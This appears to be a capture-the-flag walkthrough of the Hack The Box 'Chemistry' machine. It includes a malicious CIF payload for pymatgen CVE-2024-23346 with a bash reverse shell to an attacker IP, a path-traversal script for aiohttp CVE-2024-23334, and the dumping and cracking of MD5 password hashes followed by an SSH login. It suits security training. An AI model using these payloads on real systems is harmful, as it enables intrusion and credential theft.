Table of contents
Open Table of contents
INFO
CTF URL:https://app.hackthebox.com/machines/Chemistry
Machine Type: Linux
IP: 10.10.11.38
Difficulty: Easy
Reconnaissance
NMAP
sudo nmap -p- -sS -sC -sV 10.10.11.38 -v --min-rate 10000
# result
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
5000/tcp open tcpwrapped
WEB
Some app at http://10.10.11.38:5000/
, It allows Login and Register:
After Login we can upload CIF
files
The example: http://10.10.11.38:5000/static/example.cif
CIF Parser is Vulnerable
References:
- https://ethicalhacking.uk/cve-2024-23346-arbitrary-code-execution-in-pymatgen-via-insecure/#gsc.tab=0
- https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
There is a possibility that the web app is using a python library called pymatgen
which is vulnerable to RCE.
Simple check
Let’s setup a listener and make the victim machine to make a curl request:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl http://10.10.14.30:1234");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
After uploading the CIF file and clicking View, we received a request.
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.38] 51202
GET / HTTP/1.1
Host: 10.10.14.30:1234
User-Agent: curl/7.68.0
Accept: */*
Getting Shell
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.14.30/1234 0>&1'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
And we received the shell
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.38] 42230
sh: 0: can't access tty; job control turned off
$ whoami
app
Enumeration
Python App
In the /home/app
we can see
$ ls
app.py
instance
linpeas.sh
pwned
static
templates
uploads
in app.py
we can see some secret key and Database file
...
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
...
Database
DB file is under instance
ls instance
# result
database.db
Let’s download it
python3 -m http.server
# then download it
Sqlite Database contains:
sqlite> SELECT name FROM sqlite_master WHERE type='table';
structure
user
sqlite> select * from structure;
1|15|a.cif|41113cee-b216-43d3-9ee6-0abd45ebdd1f
2|16|example.cif|7982a882-bcbf-4172-af04-9db08d42a34a
sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|elnur|ffc5407c2eb77247943c8c25369626f8
16|aman|ccda1683d8c97f8f2dff2ea7d649b42c
Those are md5 hashes
2861debaf8d99436a10ed6f75a252abf
197865e46b878d9e74a0346b6d59886a
63ed86ee9f624c7b14f1d4f43dc251a5
02fcf7cfc10adc37959fb21f06c6b467
3dec299e06f7ed187bac06bd3b670ab2
9ad48828b0955513f7cf0f7f6510c8f8
6845c17d298d95aa942127bdad2ceb9b
c3601ad2286a4293868ec2a4bc606ba3
a4aa55e816205dc0389591c9f82f43bb
6cad48078d0241cca9a7b322ecd073b3
4af70c80b68267012ecdac9a7e916d18
4e5d71f53fdd2eabdbabb233113b5dc0
9347f9724ca083b17e39555c36fd9007
6896ba7b11a62cacffbdaded457c6d92
ffc5407c2eb77247943c8c25369626f8
ccda1683d8c97f8f2dff2ea7d649b42c
Crackstation.net gives the following:
63ed86ee9f624c7b14f1d4f43dc251a5 md5 unicorniosrosados
9ad48828b0955513f7cf0f7f6510c8f8 md5 carlos123
6845c17d298d95aa942127bdad2ceb9b md5 peterparker
c3601ad2286a4293868ec2a4bc606ba3 md5 victoria123
ffc5407c2eb77247943c8c25369626f8 md5 elnur
ccda1683d8c97f8f2dff2ea7d649b42c md5 aman
Another User
Another user called rosa
in the /home
.
ls -la /home
...
drwxr-xr-x 8 app app 4096 Oct 9 20:18 app
drwxr-xr-x 5 rosa rosa 4096 Jun 17 01:51 rosa
We got rosa’s password from previous step:
rosa:unicorniosrosados
ssh [email protected]
# result
rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
User.txt
rosa@chemistry:~$ cat user.txt
c6d1d51406a13a0777aafec43b0e478f
Getting Root.txt
Local Service
There is an open port:
rosa@chemistry:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:5000 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
So, let’s forward the port to our local machine:
ssh [email protected] -L 8080:localhost:8080
We find a Management website:
It allows showing services, but starting and stoping functionalities are not working.
In the remote server we can check that this service is python app located in
/opt
and works as a service:
rosa@chemistry:~$ ls -la /opt
...
drwx------ 5 root root 4096 Oct 9 20:27 monitoring_site
# ---
rosa@chemistry:~$ ps aux | grep monitor
root 1084 0.0 1.7 336864 34648 ? Ssl 00:07 0:09 /usr/bin/python3.9 /opt/monitoring_site/app.py
# ---
rosa@chemistry:~$ cat /etc/systemd/system/monitoring_site.service
[Unit]
Description=Monitoring Site
After=network.target
[Service]
User=app
WorkingDirectory=/opt/monitoring_site/
ExecStart=/usr/bin/python3.9 /opt/monitoring_site/app.py
User=root
Group=root
Restart=always
[Install]
WantedBy=multi-user.target
I tried to brute force for some endpoints on the app, but could not find anything useful.
If we verbosely curl the python app we can get the version.
curl 'http://localhost:8080' -v
* Host localhost:8080 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:8080...
* Connected to localhost (::1) port 8080
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 5971
< Date: Thu, 07 Nov 2024 13:17:21 GMT
< Server: Python/3.9 aiohttp/3.9.1
<
<!DOCTYPE html>
...
Server: Python/3.9 aiohttp/3.9.1
And fortunately, we have a CVE - CVE-2024-23334
and exploit for it:
Exploitation
Slightly modified version would be:
#!/bin/bash
url="http://localhost:8080"
string="../"
payload="/assets/" # assets is the existing folder in the app
file="root/root.txt" # without the first /
for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [[ $status_code -eq 200 ]]; then
curl -s --path-as-is "$url$payload$file"
break
fi
done
The result:
bash exploit.sh
[+] Testing with /assets/../root/root.txt
Status code --> 404
[+] Testing with /assets/../../root/root.txt
Status code --> 404
[+] Testing with /assets/../../../root/root.txt
Status code --> 200
79003590a00ccf022f73b91990ed2cb2
As a result we exploited Path Traversal vulnerability and read root flag.